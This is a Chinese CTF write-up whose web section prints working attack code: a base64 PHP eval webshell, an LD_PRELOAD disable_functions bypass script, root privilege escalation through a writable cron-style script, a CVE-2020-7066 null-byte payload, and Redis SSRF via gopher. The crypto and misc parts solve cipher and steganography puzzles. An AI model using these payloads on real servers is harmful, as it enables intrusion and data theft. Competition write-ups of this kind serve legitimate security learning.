由防灾科技学院&Bugfor举办的比赛,记一下!

web

CheckIN

base64加密一下,先往/tmp下写个马,然后包含这个马,蚁剑连上LD_PRELOAD bypass disable_function

1
2
file_put_contents("/tmp/1.php", base64_decode("PD9waHAgQGV2YWwoJF9QT1NUWzFdKTs="));
include('/tmp/moonback');

贴一下php exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
<?php
echo "<p> <b>example</b>: http://site.com/bypass_disablefunc.php?cmd=pwd&outpath=/tmp/xx&sopath=/var/www/bypass_disablefunc_x64.so </p>";
$cmd = $_GET["cmd"];
$out_path = $_GET["outpath"];
$evil_cmdline = $cmd . " > " . $out_path . " 2>&1";
echo "<p> <b>cmdline</b>: " . $evil_cmdline . "</p>";
putenv("EVIL_CMDLINE=" . $evil_cmdline);
$so_path = $_GET["sopath"];
putenv("LD_PRELOAD=" . $so_path);
mail("", "", "", "");
echo "<p> <b>output</b>: <br />" . nl2br(file_get_contents($out_path)) . "</p>";
unlink($out_path);
?>

老八小超市儿

默认密码,admin shopxo,后台上传主题getshell

蚁剑连上发现flag是假的,hint提示GET root,试了好多办法都不行

后来发现有auto.sh

1
2
#!/bin/sh
while true; do (python /var/mail/makeflaghint.py &) && sleep 60; done

看了下进程是以root运行的,并且所有者是root

makeflaghint.py:

1
2
3
4
5
6
7
8
9
10
import os
import io
import time
os.system("whoami")
gk1=str(time.ctime())
gk="\nGet The RooT,The Date Is Useful!"
f=io.open("/flag.hint", "rb+")
f.write(str(gk1))
f.write(str(gk))
f.close()

这个文件就很特殊了

所有用户对它都可写,因为上面auto.sh是以root运行的,并且里面调用了makeflaghint.py,相当于root运行makeflaghint.py,我们就可以改下内容,增加一行

1
os.system('cat /root/flag > a')

就能getflag了,真没想到!!!

cve版签到

hint说cve-2020-7066,看一下介绍:

然后又在题目响应头里看到

然后构造flag就出来了,没搞懂23333

1
?url=http://127.0.0.123%00.ctfhub.com

EZ三剑客-EzWeb

查看源码,发现?secret,访问发现给出了靶机ip

直接用本机ip试发现

bp fuzz一下:

173.167.10.11看到

提示要测试端口,试下

redis未授权访问,写shell,直接用Gopherus生成payload

注意要url二次编码

crypto

小学生的密码学

仿射密码,直接在线网站解:

https://aliyunvi.com/affine

加密形式:

1
e(x)=ax+b (mod 26)

汉字的秘密

当铺密码

原文:

1
2
王壮 夫工 王中 王夫 由由井 井人 夫中 夫夫 井王 土土 夫由
土夫 井中 士夫 王工 王人 土由 由口夫

替换后:

1
2
69 74 62 67 118 83 72 77 86 55 71
57 82 57 64 63 51 107

接着转ascii得到

1
2
EJ>CvSHMV7G
9R9@?3k

应该想到的,tcl,E和F差1,J和L差2

1
2
3
4
5
6
7
8
s='EJ>CvSHMV7G9R9@?3k'
j=1
flag=''
for i in s:
flag=flag+chr(ord(i)+j)
j=j+1
print(flag)
# flag{you_are_good}

misc

Pokémon

真就玩游戏就给flag,用VisualBoyAdvance打开玩就完事了

flag:

1
flag{PokEmon_14_CutE}

Harley Quinn

压缩包描述里有提示,搜了下,发现是FreeFileCamouflage一种隐写方式,可将文件隐写在JPG图片中

解压在Heathens.wav属性里看到hint

最后一段是拨号音,对照频谱

DTMF对照表

低频 \ 高频(Hz) 1209 1336 1477 1633
697 1 2 3 A
770 4 5 6 B
852 7 8 9 C
941 * 0 # D

或者直接使用dtmf2num.exe

得出拨号音:

1
#222833344477773338866#

三个2代表2的第三个字母即c,以此类推得到

1
ctfisfun

然后解密就行

会得到flag.txt

1
flag{Pudd1n!!_y0u_F1nd_m3!}

评论